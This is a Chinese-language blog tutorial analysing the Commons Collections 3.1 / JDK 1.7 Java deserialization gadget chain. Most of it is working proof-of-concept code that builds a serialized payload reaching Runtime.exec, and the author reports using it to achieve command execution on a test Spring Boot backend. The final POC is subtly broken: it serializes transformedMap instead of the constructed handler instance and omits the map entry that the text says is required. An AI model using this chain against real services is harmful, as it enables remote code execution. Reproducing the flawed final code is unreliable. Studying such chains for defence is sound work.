首先这篇文章不是出自yso中cc1的payload,该篇利用的是TransformedMap。以下是主要的参考文章汇总:
https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#3b11f6b6
https://xz.aliyun.com/t/7031#toc-8
p牛-代码审计-Java漫谈
首先我会分析POC的核心代码,然后讲解为什么其他方式不行,最后为了提高漏洞利用的普适程度,引出POC的全部代码。
总体思路:
1. 后端接收到输入流
// 扩大利用面
2. 反序列化到AnnotationInvocationHandler对象
3. 同时调用readobject方法
4. readobject方法对transformedMap成员变量进行了添加元素操作
// 解决序列化生成payload问题(Runtime对象无法执行序列化,需要通过反射解决)
5. 此时调用chainedTransformer转换器链
6. 反射得到Runtime对象
7. 反射得到exec方法
8. 命令执行
本次的实验环境是jdk1.7的7u80版本,jdk8部分版本也能用,网上查资料得知应该是8u71之前的版本
commons-collections这个依赖我用的是3.1的版本
3.2.2的版本默认是不支持不安全的反序列化的,后端必须开启不安全的反序列化功能:
System.setProperty( "org.apache.commons.collections.enableUnsafeSerialization", "true");
4版本的commons-collections已经不支持对其中某些提供的数据结构进行反序列化了。
我们直接来看poc
package sec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}), // 返回的是getruntime的方法
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
Map innnerMap = new HashMap();
innnerMap.put("key","value");
Map outerMap = TransformedMap.decorate(innnerMap,null,chainedTransformer);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
// 进行序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxx/Desktop/evil1.bin"));
outputStream.writeObject(instance);
outputStream.close();
// 模拟后端接受到的序列化后的数据
FileInputStream fi = new FileInputStream("/Users/xxx/Desktop/evil1.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
}
}
这里面主要涉及到几个类ConstantTransformer,InvokerTransformer,ChainedTransformer,TransformedMap,这些类有一个共同的特点就是都实现了transform这个接口。
可以看到所有这些类都要实现transform方法,输入为一个对象,输出也是一个对象。下面我们将重点关注一下这几个transform类的transform方法
调用这个类的transform方法时不管你输入参数是啥都会返回构造函数那块传入的对象
调用这个类的transform方法时用到了反射,通过反射调用我们在构造函数处传入的方法,那这里就是我们要执行命令的最终地方
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
ChainedTransformer类我觉得就是一个转换器链,将我们的输入通过多个转换器(可以是上面任何一个或者多个)输出。其构造函数接受一个Transformer[] 数组,即数组里面全部都要是实现了Transformer接口的类。其transform方法会对输入对象进行挨个调用Transformer[] 数组中的每个转换器(即调用每个元素的transform方法),最终输出转换结果。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
放张图可能会清晰点
先来上面poc的一个简化版本
Transformer[] transformer = new Transformer[]{
// 返回 java.lang.Runtime
new ConstantTransformer(Runtime.class),
// getClass获取到传入到runtime 会变成 java.lang.class 利用 java.lang.class 中的 getMethod 获取getRuntime
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}), // 返回的是getruntime的方法
// 上面返回的应该是getRuntime的这个静态方法 获取反射类中的invoke类执行getRuntime
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// 调用返回实例中的exec
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(111);
先定义了一个Transformer[]数组,其中第一个是ConstantTransformer转换器,第二个是InvokerTransformer转换器,第三个也是一个InvokerTransformer转换器,第四个还是一个InvokerTransformer转换器。然后new了一个ChainedTransformer将这个Transformer[]传进去。最终调用chainedTransformer的transform并传入111,这时候就会将111通过上面那个Transformer[]数组中的每一个转换器,最终输出结果。
好了,接下来重新仔细分析下
首先调用chainedTransformer.transform方法并传入111
//chainedTransformer.transform方法
public Object transform(Object object) { // object就是111
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
然后进入Transformer[]数组调用每个元素的transform方法,下面按照顺序来讲
new ConstantTransformer(Runtime.class)
第一个转换器是ConstantTransformer,ConstantTransformer.transform这里会返回Runtime类的class对象即Runtime.class,然后将Runtime.class传入到Invoker1的transform
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]})
下图是其transform方法,首先利用反射获取Runtime.class中的getmethod方法,然后invoke调用getmethod方法,其参数为getRuntime,那么就会获得getruntime方法,但此时返回值是一个Method对象,要通过invoke才能调用getruntime方法。
注意:
invoke调用普通方法时,传入的必须是实例化后的类
invoke调用静态方法时,传入类即可
new class[0]为占位符,表示getruntime的参数类型,因为getruntime没有参数所以用new class[0]表示。
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null})
上一步返回结果是一个代表getruntime方法的Method对象。现在传给第二个InvokerTransformer,
首先通过反射获取Mehtod对象的invoke方法,然后调用Method对象的invoke方法,此时就像防御执行了getruntime方法,即返回一个Runtime对象。
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
首先通过反射获取Runtime对象的exec方法,然后通过invoke调用,参数为calc,这样就能达到命令执行的效果。
成功弹出计算器
借鉴大木头的代码,下面就是poc等效代码
// 等效于 ConstantTransformer
Class Constant = Runtime.class; // 直接返回java.lang.Runtime
// 等效于invoker1
Class aClass = Constant.getClass(); // aClass 返回 java.lang.Class
Method method = aClass.getMethod("getMethod",new Class[]{String.class,Class[].class}); // 获取java.lang.class中的getMethod
Object obj1 = method.invoke(Constant,new Object[]{"getRuntime",new Class[0]}); // 根据之前的input 获取Runtime类中的getRuntime并进行返回
// 返回静态方法 Method
System.out.println(obj1);
// 等效于invoker2
Class claz = obj1.getClass(); // 返回的为java.lang.reflect.Method类型,claz 为 reflect.Method
Method method1 = claz.getMethod("invoke", Object.class, Object[].class); // 获取java.lang.reflect.Method 类中的invoke方法
Object obj = method1.invoke(obj1,new Object[]{null,null}); // 调用之前传递过来的getRuntime静态方法,返回实例化后的Runtime
// 等效于invoker3
Class cls = obj.getClass(); // 返回Runtime类
Method method2 = cls.getMethod("exec", String.class); // 反射获取Runtime类中的exec方法
method2.invoke(obj, new Object[]{"open -a Calculator"}); // obj即为实例化后的Runtime对象
// 等效于invoker4
Runtime object = (Runtime) Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
object.exec("open -a Calculator");
POC如下:
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(111);
可以看到其实poc红框部分的作用就是获取一个Runtime对象,那为什么我们不直接在new ConstantTransformer的时候传入一个Runtime对象而是要传入Runtime.class呢?
行,我们做个实验,我们将生成Runtime对象那段代码删掉,直接用ConstantTransformer给我们下一个转换器InvokerTransformer传入一个Runtime对象。
实验表明,执行成功了,哈哈哈哈哈
那为啥不这样写poc呢,是因为我们客户端最终是要序列化chainedTransformer的,但是呢Runtime对象没有继承Serializable接口
所以在序列化的时候就会报错,显示无法进行序列化
这就是为什么我们要废那么大劲要通过反射获取Runtime对象了,开始的poc里面,所有的类都继承了Serializable,都是可以序列化的,所以生成payload的时候就没问题。
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(111);
还有人这么写poc,既然不能直接传Runtime对象,那就给你老样子传Runtime.class呗,但是我下面直接用InvokerTransformer反射调用getRuntime方法,这样不就更省事了嘛。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(111);
行,我们继续做实验,哈哈哈,这次报错了
根据提示可以看到意思是Class没有getRuntime方法,Class对象肯定没有getRuntime方法呀,他有getmethod方法。话不多说,debug调试一下
InvokerTransformer.transform传入的input为Runtime.class,然后input.getClass(),那么这个时候cls就可以理解为Runtime.class的class。也就是说cls可以通过getMethod获得方法只有Runtime.class中的方法而不是Runtime中的方法!!!
所以当这里的this.iMethodName为getRuntime的时候就会爆错说获取不到这个方法。
到现在我们梳理一下poc样子
Transformer[] transformer = new Transformer[]{
// 返回 java.lang.Runtime
new ConstantTransformer(Runtime.class),
// getClass获取到传入到runtime 会变成 java.lang.class 利用 java.lang.class 中的 getMethod 获取getRuntime
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}), // 返回的是getruntime的方法
// 上面返回的应该是getRuntime的这个静态方法 获取反射类中的invoke类执行getRuntime
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// 调用返回实例中的exec
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
//chainedTransformer.transform(111);
// 序列化写入文件
FileOutputStream fileOutputStream = new FileOutputStream("evil.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(chainedTransformer);
如果我们将这个序列化payload发送到后端,后端至少需要三步才能触发命令执行
这种后端场景很难遇到了,我们还是需要修改一下poc,降低我们的利用难度
这里我们用到了TransformedMap类,TransformedMap也是一种Map,其会对每一个put进来的键值对先利用转换器进行变换后才存入。
//将原本map转换为transformedMap
Map transformedMap = TransformedMap.decorate(map,chainedTransformer,null);
decorate将参数传递给构造函数从而new一个TransformedMap对象
当我们要put一个元素的时候,就会调用重写的put方法,会对key值经过转换器,value值经过转换器后再存入
跟进this.transformKey,可以看到调用对应转换器的transform方法
加入我们用如下代码
Map transformedMap = TransformedMap.decorate(map,chainedTransformer,null);
那么在put时候就会调用我们的chainedTransformer.transform,从而触发命令执行
poc如下:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Integer, String> map = new HashMap<Integer, String>();
Map transformedMap = TransformedMap.decorate(map, chainedTransformer, null);
FileOutputStream fileOutputStream = new FileOutputStream("a.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(transformedMap);
objectOutputStream.close();
fileOutputStream.close();
这个时候我们就完成了第一减轻利用难度,后端只需要
但是呢这样还是要先反序列化为Map对象,然后对其进行修改才能触发。能不能再简化一点,只要后端反序列化了我们的数据就会触发呢
思路大概就是找到一个类
其构造时会把我们这个transformedMap传给这个类的成员变量A,
然后这个类重写了readobject方法,且readobject方法中存在对A的修改操作。
那么在反序列化的时候就会对我们的transformedMap进行添加操作从而调用ChainedTransformer。
在jdk1.7中就存在这么一个类AnnotationInvocationHandler(sun.reflect.annotation.AnnotationInvocationHandler)
我们首先来看看这个类的构造函数,需要传入一个Map类型的memberValues并赋值给。此时满足了条件1
再来看看他的readobject方法,memberValues就是我们传入的transformedMap,通过entrySet将其转换为Set集合,然后遍历集合第一个键值对赋给memebrValue,最终调用setvalue更改memebrValue的值,此时就会调用transformedMap修饰这个传入的值,从而触发远程命令执行
最终Poc如下:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Integer, String> map = new HashMap<Integer, String>();
Map transformedMap = TransformedMap.decorate(map, chainedTransformer, null);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object o = declaredConstructor.newInstance(Target.class, transformedMap);
FileOutputStream fileOutputStream = new FileOutputStream("evil.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(transformedMap);
objectOutputStream.close();
fileOutputStream.close();
这里利用反射获取AnnotationInvocationHandler的构造器,然后实例化AnnotationInvocationHandler,构造器需要传入一个继承了Annotation的类
点进去Annotation,按ctrl+F12,可以选择Target这个接口,所以上面传入了Target.class
这里有一个小问题就是为什么需要先put(“value”,“value”),参考下面这篇
https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#TransformedMap
在jdk1.8中,AnnotationInvocationHandler的readobject方法有所改动,没有直接对原本的成员变量transformedMap进行setvalue了,而是new了一个LinkedMap并将原来的键值添加进去,即不会对transformedMap进行修改操作了,也就不能调用ChainedTransformer转换器链
首先利用springboot起一个环境,用的jdk1.7
poc生成payload:
利用postman发送evil.bin到后端,成功命令执行
至此我们就完成common-collection 3.1版本 jdk1.7版本下的POC复现和利用链分析。
首先我们直接引入初版poc,说明了其利用思路并说明了为什么另外两种构造方式不行。然后在此基础上为了进一步扩大利用面,又利用TransformedMap和annotationInvocationHandler对poc进行了改造,最终得到了我们完整的poc。
里面涉及的东西也挺多的,但是核心思路就是去获得Runtime.exec()
https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p
https://xz.aliyun.com/t/7031
p牛 代码审计 Java漫谈